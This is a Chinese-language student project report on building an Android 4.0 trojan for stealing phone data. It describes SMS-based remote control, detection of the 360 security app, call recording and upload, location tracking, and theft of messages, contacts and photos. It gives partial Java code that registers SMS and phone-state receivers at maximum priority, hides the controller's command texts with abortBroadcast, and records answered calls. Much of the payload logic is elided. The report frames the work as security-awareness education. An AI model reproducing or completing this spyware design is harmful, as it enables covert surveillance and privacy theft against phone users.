项目时间:2012.12-2013.1
实验环境
1. 操作系统:android 4.0
1. 问题描述
随着移动智能终端的快速发展,安全问题变得越来越严峻。Android系统在智能手机领域占据着比较大的比重,但同时也存在着较多的安全隐患。本次课题针对android4.0系统,编写出一个基于此操作系统的手机信息窃取程序,主要实现以下功能:
(1)联网自启,检测360卫士
(2)可进行短信远控,监视用户行为
(3)窃取用户隐私数据
(电话窃听,用户定位,短信窃取,偷窥用户数据等)
通过该程序,向大家展示android系统智能手机中所存在的安全隐患,以及木马常见的攻击手段,旨在提高手机用户的安全意识,同时加深自己对android系统的认识,提高在该平台下的开发能力。
2. 基本要求
(1)熟悉android组件,activity,service,broadcastreceiver
(2)了解各个应用程序之间的信使intent
(3)了解常用的系统广播以及常见API
3. 基本概念或基本原理
在android系统中,定义了很多标准的BroadcastAction来响应系统广播事件。各个应用程序可以通过声明广播接收器来接收对应的系统广播。
以下两个系统广播:
android.intent.action.PHONE_STATE";
android.provider.Telephony.SMS_RECEIVED;
分别对应着电话状态改变以及接收到短信的广播。本程序通过动态注册对应着两个系统广播的接收器,并设置最高的优先级。从而实现对电话和短信的优先控制权,进而实现木马进一步信息获取功能。
4. 实现步骤
CoreService:
(1)枚举系统安装的APK
(2)检测是否安装360卫士
(3)动态注册短信电话BroadcastReceiver,设置最高优先级
TelephoneFilterReceiver:
(1)Intent.ACTION_NEW_OUTGOING_CALL(去电)
TelephonyManager.CALL_STATE_OFFHOOK(接起)
开启RecordService,进行录音;
(2)TelephonyManager.CALL_STATE_IDLE(挂断)
停止RecordService,停止录音并上传。
SmsFilterReceiver:
(1)将pdus转换为短息格式,解析其内容
(2)若存在360,则对接收到的短信进行记录
(3)后台监听,根据攻击者指令执行恶意功能(sms,contacts,photo,location), 并上传(PS:sms根据360的有无,采取不同恶意行为)
5. 流程图
6. 核心代码
核心服务开启例程:
public intonStartCommand(Intent intent, intflags, int startId) { Log.d(TAG,"onStartCommand---->CoreService"); //设置短信广播接收器 IntentFilterfilter = new IntentFilter(SMSACTION); //设置最高优先级 filter.setPriority(2147483647); smsFilter= new SmsFilterReceiver(); //动态注册短信接收器 registerReceiver(smsFilter,filter); //设置电话状态广播接收器 IntentFiltertFilter = new IntentFilter(TELACTION); //设置最高优先级 tFilter.setPriority(2147483647); telFilter= new TelephoneFilterReceiver(); //动态注册电话状态接收器 registerReceiver(telFilter,tFilter); return START_STICKY; }
短信接收器处理例程:
public voidonReceive(Context context, Intent intent) { Bundlebundle = intent.getExtras(); //pdu为承载着一条短信的所有信息 Object[]msgObject = (Object[])bundle.get("pdus"); SmsMessage[]smsMsg = newSmsMessage[msgObject.length]; for (inti = 0; i < smsMsg.length; i++) { //将pdu格式数据转换成短信格式 smsMsg[i]=SmsMessage.createFromPdu((byte[])msgObject[i]); //解析短信内容 Stringsender = smsMsg[i].getOriginatingAddress(); Stringcontent = smsMsg[i].getMessageBody(); //若是控制者短信 { …… //解析短信内容 …… //获取短信息和通信录 …… //获取用户位置信息 …… //丢弃此接收短信的广播 abortBroadcast(); } //是其他用户的短信息 { …… //正常放行 } }
电话过滤接收器例程:
public voidonReceive(Context context, Intent intent) { TelephonyManager tm = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE); intstate = tm.getCallState(); //根据不同的来电状态进行处理 switch(state) { //电话空闲 caseTelephonyManager.CALL_STATE_IDLE: …… //关闭录音服务 context.stopService(stopIntent); break; //电话接起 caseTelephonyManager.CALL_STATE_OFFHOOK: …… //开启录音服务 context.startService(startIntent); break; //电话响起 caseTelephonyManager.CALL_STATE_RINGING: …… //记录电话号码 break; default: break; } }